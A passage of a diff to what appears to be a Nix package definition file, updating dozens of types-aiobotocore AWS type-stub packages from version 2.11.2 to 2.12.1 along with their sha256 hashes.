"sha256-icbJT3C4cHYWVDYDeQWmnFTLaxb1YgOwIOWHasrSEU4="; - types-aiobotocore-appconfigdata = buildTypesAiobotocorePackage "appconfigdata" "2.11.2" "sha256-D6wk/D18H5DSv9rzu61GtO0b4sLUsAbAgDThxM/LXaw="; + types-aiobotocore-appconfigdata = buildTypesAiobotocorePackage "appconfigdata" "2.12.1" "sha256-Uc+eRBHVAfztcsXcGbwjJi4JRM6kQtXkIqhuLGhjwL0="; - types-aiobotocore-appfabric = buildTypesAiobotocorePackage "appfabric" "2.11.2" "sha256-jvO9GCkF6HC7Y/Gallc0unmk0ZX5C6uZDGmxwiHAMCs="; + types-aiobotocore-appfabric = buildTypesAiobotocorePackage "appfabric" "2.12.1" "sha256-AlrHEE9y9q4D5q5M6YiWLTHdbsRBf5i+ifIGcuS8F38="; - types-aiobotocore-appflow = buildTypesAiobotocorePackage "appflow" "2.11.2" "sha256-Kvu5+auFG7FDR1w/6xv7JWJkEwM+wuaXJHIDIUOgxsg="; + types-aiobotocore-appflow = buildTypesAiobotocorePackage "appflow" "2.12.1" "sha256-Jg2v0ygeP6UIvNrnyuilzbeCpKSs8L6yGTlh6aAMXko="; - types-aiobotocore-appintegrations = buildTypesAiobotocorePackage "appintegrations" "2.11.2" "sha256-nyJNZejMFYBgTJGjM+ylfHVilA/KrZJ9mJa1m4Ej/i0="; + types-aiobotocore-appintegrations = buildTypesAiobotocorePackage "appintegrations" "2.12.1" "sha256-x6EuJVZJl/mw7wXfJP5djkVKsZ9rxSlAMynlmIeYf7c="; - types-aiobotocore-application-autoscaling = buildTypesAiobotocorePackage "application-autoscaling" "2.11.2" "sha256-RrjOGf342giEftdtYrWN9nuHuxGIX7tC2lyi7kFVGZA="; + types-aiobotocore-application-autoscaling = buildTypesAiobotocorePackage "application-autoscaling" "2.12.1" "sha256-ZLgLJAGtiMUhWWXz2GxwOaxn9CzRh2lWTvhvOrzUDq4="; - types-aiobotocore-application-insights = buildTypesAiobotocorePackage "application-insights" "2.11.2" "sha256-/CRUfLRLggcHpD+H6tsMrJf8kC23qqCtfRUf510MYs8="; + types-aiobotocore-application-insights = buildTypesAiobotocorePackage "application-insights" "2.12.1" "sha256-p96BagoCjYHXqnCQqVMLlwNT6hlkIOhLFmXcXQKZsIM="; - types-aiobotocore-applicationcostprofiler = buildTypesAiobotocorePackage "applicationcostprofiler" "2.11.2" "sha256-uB+lXza3Zyj5ug/1tr5jxhIYDFmy0u/rbLdHQQW33zs="; + types-aiobotocore-applicationcostprofiler = buildTypesAiobotocorePackage "applicationcostprofiler" "2.12.1" "sha256-bDuo8+w6NbWh7vFV488kuS/by+Bb8m3KvKqFtQRJbVY="; - types-aiobotocore-appmesh = buildTypesAiobotocorePackage "appmesh" "2.11.2" "sha256-ddng69ZZp8lEEKZAEK/9AMPHBaRpQRmbPVQVQgEpWQI="; + types-aiobotocore-appmesh = buildTypesAiobotocorePackage "appmesh" "2.12.1" "sha256-IXg7ZyW6rnpb2XycRLnMcihim4pYIC0iiQlQf07mesY="; - types-aiobotocore-apprunner = buildTypesAiobotocorePackage "apprunner" "2.11.2" "sha256-zn+wgfdLfNzrhmmWaQnnBJw6Mp6FUPSs1Aq4U+QEZZ4="; + types-aiobotocore-apprunner = buildTypesAiobotocorePackage "apprunner" "2.12.1" "sha256-bSEzv5bkO6L0VGrdAmsSeH62wjQWnJu34lGSsa5U/J0="; - types-aiobotocore-appstream = buildTypesAiobotocorePackage "appstream" "2.11.2" "sha256-97aTTprrNQ5fp1Ap2SgliVhz2FweNcWJxmOVf7NGznQ="; + types-aiobotocore-appstream = buildTypesAiobotocorePackage "appstream" "2.12.1" "sha256-pMnJ6CcqhhBGpPG4sPsJUqcCohFZPHQ4nZbM82WhFQg="; - types-aiobotocore-appsync = buildTypesAiobotocorePackage "appsync" "2.11.2" "sha256-1d4FgrbxzX5jMZEL7ghT4olTTmy18ZK1zaXDWcBoz3I="; + types-aiobotocore-appsync = buildTypesAiobotocorePackage "appsync" "2.12.1" "sha256-8IyLcQLUg/t/WodMhJkrUnTYOVR5PmkjDtILnzYEqKM="; - types-aiobotocore-arc-zonal-shift = buildTypesAiobotocorePackage "arc-zonal-shift" "2.11.2" "sha256-s9zX+TsBp4DSORJkxZG9VrVmeHuNfeNfv+vZsJXnfSE="; + types-aiobotocore-arc-zonal-shift = buildTypesAiobotocorePackage "arc-zonal-shift" "2.12.1" "sha256-8HP5cQS7p7QyncnccISZHOPIYwWEyMUIz0OEiwoZ0OQ="; - types-aiobotocore-athena = buildTypesAiobotocorePackage "athena" "2.11.2" "sha256-MxbYsiBSryODm6ZuJpb0Jwmiw/k679yPxBIGYrFQFfQ="; + types-aiobotocore-athena = buildTypesAiobotocorePackage "athena" "2.12.1" "sha256-9wlWv7qFWj/bnLIEH2wXGHG0IYvPdEIolDyh9xJsY6I="; - types-aiobotocore-auditmanager = buildTypesAiobotocorePackage "auditmanager" "2.11.2" "sha256-IErQ9xVFHfQKAT4WUvyummuUndVG6azLCflA4e8AcAI="; + types-aiobotocore-auditmanager = buildTypesAiobotocorePackage "auditmanager" "2.12.1" "sha256-/IYKAlDmq/+5jsMcnwmhVV+OMvWP4IcMdrtZ3ocy0ls="; - types-aiobotocore-autoscaling = buildTypesAiobotocorePackage "autoscaling" "2.11.2" "sha256-UJxccq20Wy9A3xDDqpDGGs3KtP8uVFK/G8AFvlJblUs="; + types-aiobotocore-autoscaling = buildTypesAiobotocorePackage "autoscaling" "2.12.1" "sha256-pJZDPqRXSKlDYd57vfJdgbaszKhyvONsgRhHxT7PO3s="; - types-aiobotocore-autoscaling-plans = buildTypesAiobotocorePackage "autoscaling-plans" "2.11.2" "sha256-0LzoSmxim0Ji1qVTKz5aaYNF2ZxSxkJPQsZgl6HBvXM="; + types-aiobotocore-autoscaling-plans = buildTypesAiobotocorePackage "autoscaling-plans" "2.12.1" "sha256-VqO8b8JQX1OzvgHnZZCC6l3a73Ren2b2GphClJBZc/c="; - types-aiobotocore-backup = buildTypesAiobotocorePackage "backup" "2.11.2" "sha256-deC72vTE1w4K2vIQeQMb/38CEBHXhP/koEsVBUZQkxU="; + types-aiobotocore-backup = buildTypesAiobotocorePackage "backup" "2.12.1" "sha256-UMP61m/gcHfc5JUtAoEAIfxdbjntqL7HubUuTb4AfwI="; - types-aiobotocore-backup-gateway = buildTypesAiobotocorePackage "backup-gateway" "2.11.2" "sha256-ggjy2SYEDZgqkvBi7N/mZbScwQNOxQR3Je+UsntPaKA="; + types-aiobotocore-backup-gateway = buildTypesAiobotocorePackage "backup-gateway" "2.12.1" "sha256-bxXM19C5beGNvKV0bXpnU43e3h8UmFJpXc1kmsbeelw="; - types-aiobotocore-backupstorage = buildTypesAiobotocorePackage "backupstorage" "2.11.2" "sha256-ZtC6TpfMQE48ih14/yMm9UVt/nCjVt6Jza0lakE/t0w="; + types-aiobotocore-backupstorage = buildTypesAiobotocorePackage "backupstorage" "2.12.1" "sha256-+y3Xqw/KJqcSC7VMwjN+FZN/MLt0E/UISk+CNRN0lTI="; - types-aiobotocore-batch = buildTypesAiobotocorePackage "batch" "2.11.2" "sha256-DnZ7/CZ2af+DhHKp6LvsuCLfVu43yiwYFRxugEsMEok="; + types-aiobotocore-batch = buildTypesAiobotocorePackage "batch" "2.12.1" "sha256-cX2aVftGdhLDfY3bSSIiFnOV0EPfmlcwrSG7ad+On1g="; - types-aiobotocore-billingconductor = buildTypesAiobotocorePackage "billingconductor" "2.11.2" "sha256-vURVxenciwH3Qwi6FLjsxVkHSVQJ5C63zzb5Npr+Kxo="; + types-aiobotocore-billingconductor = buildTypesAiobotocorePackage "billingconductor" "2.12.1" "sha256-GROhwMYXYrYTChJVlE/MN/EZ0NzOHeSXAfiIuHJG9u8="; - types-aiobotocore-braket = buildTypesAiobotocorePackage "braket" "2.11.2" "sha256-rdH9EaCMApXDf+3ERvNNsvJBtCEqkjf6XpLHTRn4V4Y="; + types-aiobotocore-braket = buildTypesAiobotocorePackage "braket" "2.12.1" "sha256-d9oj+mAHxXapK+756DrglrqlYTOlZQtkFdbh+Ipanqc="; - types-aiobotocore-budgets = buildTypesAiobotocorePackage "budgets" "2.11.2" "sha256-zaaeXhic5omexJMc5TVAK+ADqmJxkV9YJkasQCfAf/w="; + types-aiobotocore-budgets = buildTypesAiobotocorePackage "budgets" "2.12.1" "sha256-kCXjo49wwgdVjbI45A+JV0gQbb7FxqSi2rqa41XgrbI="; - types-aiobotocore-ce = buildTypesAiobotocorePackage "ce" "2.11.2" "sha256-nlsx8TDLKC3bTcuHuqACgtgl4OvTjHHYiYXXlk7gbLE="; + types-aiobotocore-ce = buildTypesAiobotocorePackage "ce" "2.12.1" "sha256-RNGUxIvjKqJvOQ3CUjfJWHGD76wUqfev43aCU5Z+5Dg="; - types-aiobotocore-chime = buildTypesAiobotocorePackage "chime" "2.11.2" "sha256-j+RmGyAMnf8a/OztACdfOr/6a16V+SGDPS+ETl0ZetM="; + types-aiobotocore-chime = buildTypesAiobotocorePackage "chime" "2.12.1" "sha256-/EHroPbg5w45i8vqpzLHf8ZpzIWbOLLwwAbP/MZvDyI="; - types-aiobotocore-chime-sdk-identity = buildTypesAiobotocorePackage "chime-sdk-identity" "2.11.2" "sha256-5MtREitAmJ/5cSQDJeYj6SilLfspKWZFTmiTaCsv/a0="; + types-aiobotocore-chime-sdk-identity = buildTypesAiobotocorePackage "chime-sdk-identity" "2.12.1" "sha256-yZbk3/p11XA6y57z58ShBpYzbgmZaqXKFaSjRNLIHAs="; - types-aiobotocore-chime-sdk-media-pipelines = buildTypesAiobotocorePackage "chime-sdk-media-pipelines" "2.11.2" "sha256-JFZ/ijE1FRCEWMF8wFZe5mA5UW1Y0Xh7A7kVAoG4QY0="; + types-aiobotocore-chime-sdk-media-pipelines = buildTypesAiobotocorePackage "chime-sdk-media-pipelines" "2.12.1" "sha256-A45a8+rGxkkF+qMNWQOwp3keTnVqitC+T+1cXfpjh4s="; - types-aiobotocore-chime-sdk-meetings = buildTypesAiobotocorePackage "chime-sdk-meetings" "2.11.2" "sha256-FB0X7wR4xvMT9GiyHkDX9lSVxBQVxWs1NG0/rwPpeyg="; + types-aiobotocore-chime-sdk-meetings = buildTypesAiobotocorePackage "chime-sdk-meetings" "2.12.1" "sha256-CBOz1xzJF7502CCcdbVPTnC5lRgDHsRCRQjDhvUJQks="; - types-aiobotocore-chime-sdk-messaging = buildTypesAiobotocorePackage "chime-sdk-messaging" "2.11.2" "sha256-IMRhuNevxyg48ahyKSCJ6ytpX3BEZKPG37du+Vm+grk="; + types-aiobotocore-chime-sdk-messaging = buildTypesAiobotocorePackage "chime-sdk-messaging" "2.12.1" "sha256-IzhApCA/D73+LPyxILQDrKTRABG3kgyVobNdY0L065M="; - types-aiobotocore-chime-sdk-voice = buildTypesAiobotocorePackage "chime-sdk-voice" "2.11.2" "sha256-R18RGbDg393B37iuwi3NwEshVzDZ7iTaTX525MMgpoQ="; + types-aiobotocore-chime-sdk-voice = buildTypesAiobotocorePackage "chime-sdk-voice" "2.12.1" "sha256-o+QL/ujJrHtggWUOTXgE5/EcE5Dsx4EYAOrRbLAV6qM="; - types-aiobotocore-cleanrooms = buildTypesAiobotocorePackage "cleanrooms" "2.11.2" "sha256-AKjMZa6crhEuSl3aHo0op94hlPKKWqXG8w33ipcnuK4="; + types-aiobotocore-cleanrooms = buildTypesAiobotocorePackage "cleanrooms" "2.12.1" "sha256-haTOrvbpW3sM2cj4hhb1higAs/CcBM07bKbeSP29ox0="; - types-aiobotocore-cloud9 = buildTypesAiobotocorePackage "cloud9" "2.11.2" "sha256-ru9I0dKqFsjaNUhAFLrXh+SPN1HaHCFL+2LRS16+pSI="; + types-aiobotocore-cloud9 = buildTypesAiobotocorePackage "cloud9" "2.12.1" "sha256-lB7ETrEcEcUN0Wo0v5jfHS/7deB+RigE7QAsRtCm34s="; - types-aiobotocore-cloudcontrol = buildTypesAiobotocorePackage "cloudcontrol" "2.11.2" "sha256-LwgyZxkvTTFgYWsF2kkK/IxflGpyr2oq2CxCMWnMDpQ="; + types-aiobotocore-cloudcontrol = buildTypesAiobotocorePackage "cloudcontrol" "2.12.1" "sha256-9wQePNZU01EZ0HsEri+NhyqbovxKvrq1Ym2X6ZjmpgQ="; - types-aiobotocore-clouddirectory = buildTypesAiobotocorePackage "clouddirectory" "2.11.2" "sha256-0G1EUlW2oDJI0DgsQjZ4NkHIQbKqnvlyMxxrkhj5q8M="; + types-aiobotocore-clouddirectory = buildTypesAiobotocorePackage "clouddirectory" "2.12.1" "sha256-tcapX1pGlYT5I9psU/lhq+ltsYJzhJA8ECopImTBNG8="; - types-aiobotocore-cloudformation = buildTypesAiobotocorePackage "cloudformation" "2.11.2" "sha256-QFupRQ8DtSwddqrTVEUrUjLyKChguEnSmYqvicaJJA8="; + types-aiobotocore-cloudformation = buildTypesAiobotocorePackage "cloudformation" "2.12.1" "sha256-ZDPwZIVtYGjMVYGhwRqHhDgQuGRMPm9nDSf3yXyHDig="; - types-aiobotocore-cloudfront = buildTypesAiobotocorePackage "cloudfront" "2.11.2" "sha256-n/cNWP73Qta8lkXnpvtEOU7vO6IR5n1khlY8G2gZHZ4="; + types-aiobotocore-cloudfront = buildTypesAiobotocorePackage "cloudfront" "2.12.1" "sha256-1SkPaujxS66tXJ7d37AOF5fWJfm6NMMFs3BdCzvFQ18="; - types-aiobotocore-cloudhsm = buildTypesAiobotocorePackage "cloudhsm" "2.11.2" "sha256-+CRJNZ5W5ZQB7HzlY6IF6fT5a3LF8ES7Cmmts5c8Xjc="; + types-aiobotocore-cloudhsm = buildTypesAiobotocorePackage "cloudhsm" "2.12.1" "sha256-h/ukCEJa/sU2c54Yt0JccYHUkk57A48hBZy0dixo37Q="; - types-aiobotocore-cloudhsmv2 = buildTypesAiobotocorePackage "cloudhsmv2" "2.11.2" "sha256-RWoizNbfw+Nujlf2Y4vEgVyyyVqmxkBF3wu4Ox7EsG0="; + types-aiobotocore-cloudhsmv2 = buildTypesAiobotocorePackage "cloudhsmv2" "2.12.1" "sha256-ErBwA+z2JvT5xfvoTzsIAVPU8tU08sphFXGw1g3f4yQ="; - types-aiobotocore-cloudsearch = buildTypesAiobotocorePackage "cloudsearch" "2.11.2" "sha256-VncrELHOiw/z4oQ5JTiXQIR0CZdGtX5xQeei1/JdONY="; + types-aiobotocore-cloudsearch = buildTypesAiobotocorePackage "cloudsearch" "2.12.1" "sha256-1olJgbAOkbh9vXli4pcwwJoi1THWtfU8oz9YCj6Ukes="; - types-aiobotocore-cloudsearchdomain = buildTypesAiobotocorePackage "cloudsearchdomain" "2.11.2" "sha256-Ei3/wp0zUE5CitvVf135GF4cW7KAbukDYtS8ZOJPwBg="; + types-aiobotocore-cloudsearchdomain = buildTypesAiobotocorePackage "cloudsearchdomain" "2.12.1" "sha256-aGTQp3cmL7ZWu4g17Rrk5rmiJ4aQRmPk54AGSWkhFGs="; - types-aiobotocore-cloudtrail = buildTypesAiobotocorePackage "cloudtrail" "2.11.2" "sha256-YEPoPUFRt+kiMbABD3fg7W2qYRKblmIG4YjbFTQpAdw="; + types-aiobotocore-cloudtrail = buildTypesAiobotocorePackage "cloudtrail" "2.12.1" "sha256-bM3LaR0mBX7i7hUB4maK7exCplszTtN+I5EllNdXy64="; - types-aiobotocore-cloudtrail-data = buildTypesAiobotocorePackage "cloudtrail-data" "2.11.2" "sha256-3ZLYMHreAEA1j/mp3HJF5rLZ45Nnt5GdQrcFY3Sh434="; + types-aiobotocore-cloudtrail-data = buildTypesAiobotocorePackage "cloudtrail-data" "2.12.1" "sha256-GOm6+wQGXOmJJa7Thw1QwEh7qsfGrmlphlR9jbWVRwI="; - types-aiobotocore-cloudwatch = buildTypesAiobotocorePackage "cloudwatch" "2.11.2" "sha256-gvJyiNl7u79VejEK5eFhBuC1tYK4tMAhAbsnFEfNhYI="; + types-aiobotocore-cloudwatch = buildTypesAiobotocorePackage "cloudwatch" "2.12.1" "sha256-7HPW7wBHzEz3Wf+ExWt0EuLGyMenZLKitxg1vRRLvXg="; - types-aiobotocore-codeartifact = buildTypesAiobotocorePackage "codeartifact" "2.11.2" "sha256-CUiHlJTgSYpYH/6aEyjtsXBbWxFKu4GqTdDn7hP7wHA="; + types-aiobotocore-codeartifact = buildTypesAiobotocorePackage "codeartifact" "2.12.1" "sha256-vbVK79R9VPVVtpqvzhdRiVkLBhfRZgFYcoH7asbaE0c="; - types-aiobotocore-codebuild = buildTypesAiobotocorePackage "codebuild" "2.11.2" "sha256-0gs1j3dJ94suVhfieHwNs6xDmUwN/2VAMUP8F9BQcaY="; + types-aiobotocore-codebuild = buildTypesAiobotocorePackage "codebuild" "2.12.1" "sha256-eXPqgX5MD/aIBxIQjHqyP4I0FJ2l+AHnoiq6RofKY4Q="; - types-aiobotocore-codecatalyst = buildTypesAiobotocorePackage "codecatalyst" "2.11.2" "sha256-7GYiqcO1H1eVojfpfBUHmf7JvePZOAKLu8QSxqTKjH0="; + types-aiobotocore-codecatalyst = buildTypesAiobotocorePackage "codecatalyst" "2.12.1" "sha256-xu7zEVV3AX9ygsYzTjyp1WcA5fEndCu6yCMsCuDnYOo="; - types-aiobotocore-codecommit = buildTypesAiobotocorePackage "codecommit" "2.11.2" "sha256-YHisggElD8iq1DTcrZnIzdFrnLAUWFULgGe7jdm3oWY="; + types-aiobotocore-codecommit = buildTypesAiobotocorePackage "codecommit" "2.12.1" "sha256-IshGyh7RTJDbmcjJ/t1SoeZKd7GnsRrr/kZAXpLZQXY="; - types-aiobotocore-codedeploy = buildTypesAiobotocorePackage "codedeploy" "2.11.2" "sha256-dkyzpYzga1rjIiUAvAYqmvBotq7cbzgujsEdB1ViTZs="; + types-aiobotocore-codedeploy = buildTypesAiobotocorePackage "codedeploy" "2.12.1" "sha256-1ess+WyiHaejghvuESxCHBu7XmGoR9uA3fL21WzhBPs="; - types-aiobotocore-codeguru-reviewer = buildTypesAiobotocorePackage "codeguru-reviewer" "2.11.2" "sha256-hBobZDb4rpMcVkXTWVVRvHTjz+O4num/tLdHc9K+pn0="; + types-aiobotocore-codeguru-reviewer = buildTypesAiobotocorePackage "codeguru-reviewer" "2.12.1" "sha256-o9WfffjQPMU8pgUtQFrj7+CyP87rvalF1qxTTZp/UgM="; - types-aiobotocore-codeguru-security = buildTypesAiobotocorePackage "codeguru-security" "2.11.2" "sha256-UjhVraSTdP6zQNKK7YF7CiR8Y0IglumyKWo4q4+lYEY="; + types-aiobotocore-codeguru-security = buildTypesAiobotocorePackage "codeguru-security" "2.12.1" "sha256-RfKsb90lP57S6kyvfrFGampEGGHr1czQ/+49Oox0rEI="; - types-aiobotocore-codeguruprofiler = buildTypesAiobotocorePackage "codeguruprofiler" "2.11.2" "sha256-A1MNRLeNmKFZWO9VPlYOPiYI1XfMvxau08eu0kt9XH8="; + types-aiobotocore-codeguruprofiler = buildTypesAiobotocorePackage "codeguruprofiler" "2.12.1" "sha256-1AkpcKCrwHIJHO9cFIyZrizSbNeLcjhRbTlvgDz6RJ4="; - types-aiobotocore-codepipeline = buildTypesAiobotocorePackage "codepipeline" "2.11.2" "sha256-1agFA021Ng2yyGZeR6RfnNiajPwLV1hgGH9mnGi54V4="; + types-aiobotocore-codepipeline = buildTypesAiobotocorePackage "codepipeline" "2.12.1" "sha256-0qNifbqbtK/XNo9un7snezMTBw5ED08UxZnHgVJj4HU="; - types-aiobotocore-codestar = buildTypesAiobotocorePackage "codestar" "2.11.2" "sha256-yBc09bY/svyht27FIcSYGkkLyUeHM97IYB4aVWo8CFE="; + types-aiobotocore-codestar = buildTypesAiobotocorePackage "codestar" "2.12.1" "sha256-Du4dvdfqQjtRwnomiqtV+T3z65PjomCAkgl1vMAsZ2A="; - types-aiobotocore-codestar-connections = buildTypesAiobotocorePackage "codestar-connections" "2.11.2" "sha256-RSpNT70XrU8ZLRgTgpqiELV4e0WJTtWCTESdGA4mGQs="; + types-aiobotocore-codestar-connections = buildTypesAiobotocorePackage "codestar-connections" "2.12.1" "sha256-wHiMhzwCMPgrtZ650BAsZvgldAzGR6kjnHIQh0B8scA="; - types-aiobotocore-codestar-notifications = buildTypesAiobotocorePackage "codestar-notifications" "2.11.2" "sha256-5DiJoLCkRD5GL+uglCSYQAdrAPrHrk9Eoo0TUoFV6ms="; + types-aiobotocore-codestar-notifications = buildTypesAiobotocorePackage "codestar-notifications" "2.12.1" "sha256-rOKutC1NJS55XJ5sWks++sylGHLOwo1OElz+uZXMhQo="; - types-aiobotocore-cognito-identity = buildTypesAiobotocorePackage "cognito-identity" "2.11.2" "sha256-yf1lZtCRru/n4lWW+8Js75azhW7o1q8dQ7vgwQQpOv0="; + types-aiobotocore-cognito-identity = buildTypesAiobotocorePackage "cognito-identity" "2.12.1" "sha256-aBwQC4hoUaZWbICP74+vy3xocFGHWfB4B5hb+JwMKeA="; - types-aiobotocore-cognito-idp = buildTypesAiobotocorePackage "cognito-idp" "2.11.2" "sha256-GtrQuQBHzkglEMjkYSGoHrOm/LFAAYhKl2JTUpGCFaE="; + types-aiobotocore-cognito-idp = buildTypesAiobotocorePackage "cognito-idp" "2.12.1" "sha256-uVd9KNIMx1p26vaOzlPNM7a0+2SS5ZkfpMe5obGDXiw="; - types-aiobotocore-cognito-sync = buildTypesAiobotocorePackage "cognito-sync" "2.11.2" "sha256-uh+LAEBYuKAK1BJPu6rJtSJcE4TpXV09d9jH20IevOk="; + types-aiobotocore-cognito-sync = buildTypesAiobotocorePackage "cognito-sync" "2.12.1" "sha256-NJVV8lN0HTmASQfqh9fbQSkg2KijOcbHTc8QYgTrY4I="; - types-aiobotocore-comprehend = buildTypesAiobotocorePackage "comprehend" "2.11.2" "sha256-w1FlANcEK/BIDeT+iSJU1FQDidor6bs1w5HNEa1Jj4k="; + types-aiobotocore-comprehend = buildTypesAiobotocorePackage "comprehend" "2.12.1" "sha256-+WMvk9yY5bGHPqd93TWS3XC6XDvTzh54oM9py52pzws="; - types-aiobotocore-comprehendmedical = buildTypesAiobotocorePackage "comprehendmedical" "2.11.2" "sha256-GqWg0H95Z0wNHaSt1R1GnVTGTyZ3Qki9Du4byRRGmcs="; + types-aiobotocore-comprehendmedical = buildTypesAiobotocorePackage "comprehendmedical" "2.12.1" "sha256-KFeZxBzsAZVdpIlvKohBIP3p1yJ14/AHW7sItn6slY4="; - types-aiobotocore-compute-optimizer = buildTypesAiobotocorePackage "compute-optimizer" "2.11.2" "sha256-7TK1QtWs6gVZQO8dTuVs9JG35xlP/4Sk0HCfEDL5cPU="; + types-aiobotocore-compute-optimizer = buildTypesAiobotocorePackage "compute-optimizer" "2.12.1" "sha256-xCFDjZ+tkRs3UWhPu6BpabaKIFWITApu65gFk0hw/Vs="; - types-aiobotocore-config = buildTypesAiobotocorePackage "config" "2.11.2" "sha256-oBXLOS4TLGd/6cEVwySUNKXTigmEPFhM4vR+uWC/jCA="; + types-aiobotocore-config = buildTypesAiobotocorePackage "config" "2.12.1" "sha256-cQWccDw2YPdj5pXb/H2WaFlWg4BrAg/HNAq6RLAp4yY="; - types-aiobotocore-connect = buildTypesAiobotocorePackage "connect" "2.11.2" "sha256-nRq8rHdQNHpY0O1ft/IOFgiZT+flDoJeYktoIR7azd0="; + types-aiobotocore-connect = buildTypesAiobotocorePackage "connect" "2.12.1" "sha256-zbAIII9gaTJEZEcdd1go00s6PUAZdNtEYlOu0Hz2K5g="; - types-aiobotocore-connect-contact-lens = buildTypesAiobotocorePackage "connect-contact-lens" "2.11.2" "sha256-kSSYE9sHHvWyXQD3+h4zwbmpVE4spdFsVajLrs8wQoY="; + types-aiobotocore-connect-contact-lens = buildTypesAiobotocorePackage "connect-contact-lens" "2.12.1" "sha256-8QSM/rytw1tx8OfL3NQOaxT8D0hlFK4BmaxxPJGpeL0="; - types-aiobotocore-connectcampaigns = buildTypesAiobotocorePackage "connectcampaigns" "2.11.2" "sha256-8h5Uw5dRI0Iq88DKaEkp/QiqsxMpXqT1e0fSCnmeUeQ="; + types-aiobotocore-connectcampaigns = buildTypesAiobotocorePackage "connectcampaigns" "2.12.1" "sha256-QJylFv6qLf+JS2FL2Fs9oXXkTbwgmcxChsXUjoJJIQ4="; - types-aiobotocore-connectcases = buildTypesAiobotocorePackage "connectcases" "2.11.2" "sha256-iCunD1EYNwnwEVE5h83cO8DtgQrfqd2XsjmA6/LUyKk="; + types-aiobotocore-connectcases = buildTypesAiobotocorePackage "connectcases" "2.12.1" "sha256-5rHxLWeR6ElpegaV1lO6Wh8h0DBoZ8S4TblDPMlZvEg="; - types-aiobotocore-connectparticipant = buildTypesAiobotocorePackage "connectparticipant" "2.11.2" "sha256-3szxg0WTtha1txrfidQUwCnwQ+y6DmaFdyRASxNvyPM="; + types-aiobotocore-connectparticipant = buildTypesAiobotocorePackage "connectparticipant" "2.12.1" "sha256-VSno3aW8mDf/yxg0bTERjsERvdd6+T4yOJQdA32o3bo="; - types-aiobotocore-controltower = buildTypesAiobotocorePackage "controltower" "2.11.2" "sha256-Vnc1jV10ylYc1xyIAB05sc6F/mrenB/evzSxUXvksIo="; + types-aiobotocore-controltower = buildTypesAiobotocorePackage "controltower" "2.12.1" "sha256-3G2EarLZAonr/2noJ8sUlrvol6En37NfWqaKWkKUF40="; - types-aiobotocore-cur = buildTypesAiobotocorePackage "cur" "2.11.2" "sha256-GxnIgMuPdhButM1g0WhIY5aozxRVD9wisFI7vg0htkk="; + types-aiobotocore-cur = buildTypesAiobotocorePackage "cur" "2.12.1" "sha256-Q22cMbQCNx57+z5gVRWzEu+NFre7nr43iCfZckmzUqU="; - types-aiobotocore-customer-profiles = buildTypesAiobotocorePackage "customer-profiles" "2.11.2" "sha256-32oCCsq7HRgfuQHxtC8To8YRPPkBYxP+wj8tTxJg74Y="; + types-aiobotocore-customer-profiles = buildTypesAiobotocorePackage "customer-profiles" "2.12.1" "sha256-qMPLsa4euoHZiaRizphbpw4H66mCxZhNKZM1qjILwy8="; - types-aiobotocore-databrew = buildTypesAiobotocorePackage "databrew" "2.11.2" "sha256-QezthhLSvyrCjlBDgQFJOLd3jdkvf3gYczusxWARUtM="; + types-aiobotocore-databrew = buildTypesAiobotocorePackage "databrew" "2.12.1" "sha256-ekG77cZnn6V9InRjhqUzJWGs4/ear90bifUP+RwCXz8="; - types-aiobotocore-dataexchange = buildTypesAiobotocorePackage "dataexchange" "2.11.2" "sha256-GZaODMMW3citfIA0EDl8J+Z8T8euCx6pXmm24iL/g90="; + types-aiobotocore-dataexchange = buildTypesAiobotocorePackage "dataexchange" "2.12.1" "sha256-L6bedg9iqlsB+0mt5GaZzB8RRepZGW1BahDXUwfNc+I="; - types-aiobotocore-datapipeline = buildTypesAiobotocorePackage "datapipeline" "2.11.2" "sha256-bkok6yFZG4DOXnweqa1fWxxX5lq4XVN6A/NSrQiAWNI="; + types-aiobotocore-datapipeline = buildTypesAiobotocorePackage "datapipeline" "2.12.1" "sha256-EAkwiRw1PF3+6pdt15onwTBvXXf9f4BLQd6mqDLgYdk="; - types-aiobotocore-datasync = buildTypesAiobotocorePackage "datasync" "2.11.2" "sha256-lipzCM0iHpHfggorFc67IIRIA7zQkZOFSrNdkZNc1n0="; + types-aiobotocore-datasync = buildTypesAiobotocorePackage "datasync" "2.12.1" "sha256-JZuIbuaaci7scqF27/7KZtkfpTa+FkE3Ooq84ZjL4Fg="; - types-aiobotocore-dax = buildTypesAiobotocorePackage "dax" "2.11.2" "sha256-cmtSKNzaKuDMKpT2e3FxxGAA3s6fXmnp27g8ZjiuW34="; + types-aiobotocore-dax = buildTypesAiobotocorePackage "dax" "2.12.1" "sha256-wtFXwUfDxUJSjt2FFvt6+eq1vSsHWwvBJvg1pyplX8Q="; - types-aiobotocore-detective = buildTypesAiobotocorePackage "detective" "2.11.2" "sha256-+qeNgy9ZCpx2i7aSSBv6vHJAa11j+YqYbu1e5ebTOkY="; + types-aiobotocore-detective = buildTypesAiobotocorePackage "detective" "2.12.1" "sha256-ydMwZRT9F95KBrvlwGAqjiTiEUVnr0xKElMKz5dgRSM="; - types-aiobotocore-devicefarm = buildTypesAiobotocorePackage "devicefarm" "2.11.2" "sha256-hJ8ajXMmlmUZmKBDYxkUX1RU/8C3xmjb403YzkVzm6E="; + types-aiobotocore-devicefarm = buildTypesAiobotocorePackage "devicefarm" "2.12.1" "sha256-8GRf+xgsv8lTNuRlib78GMOV5gLMxiybo9gqgfL2s6g="; - types-aiobotocore-devops-guru = buildTypesAiobotocorePackage "devops-guru" "2.11.2" "sha256-1ERoQL1dD2Ia1asRDjF/bl/tnKkaKUhd0JkXfsw9zXY="; + types-aiobotocore-devops-guru = buildTypesAiobotocorePackage "devops-guru" "2.12.1" "sha256-Jg4yLzlZGjlHqgKECEgGndcVGc28KCE0C8K4JhpjAXA="; - types-aiobotocore-directconnect = buildTypesAiobotocorePackage "directconnect" "2.11.2" "sha256-EcaX5FjIweqW0hTbhgMm3XFVtnoY/fVt5pAjgm8L0+U="; + types-aiobotocore-directconnect = buildTypesAiobotocorePackage "directconnect" "2.12.1" "sha256-wk0y4voHIlDmBMGTsOukcM4yG9XP4wnQA1WgAUb9T1c="; - types-aiobotocore-discovery = buildTypesAiobotocorePackage "discovery" "2.11.2" "sha256-ZOPuTLIH9Sqojs2jWiskjEqz7LBstS1KyjPCiSnW0Qo="; + types-aiobotocore-discovery = buildTypesAiobotocorePackage "discovery" "2.12.1" "sha256-IctqTU+e65MHeo3Mm+MVzkyrzki8f0eSEWHvzTgTTlc="; - types-aiobotocore-dlm = buildTypesAiobotocorePackage "dlm" "2.11.2" "sha256-SfzmZe5x4I0TMdfwAu6DFkK2NDgqZrdiXfYzj6FV6/0="; + types-aiobotocore-dlm = buildTypesAiobotocorePackage "dlm" 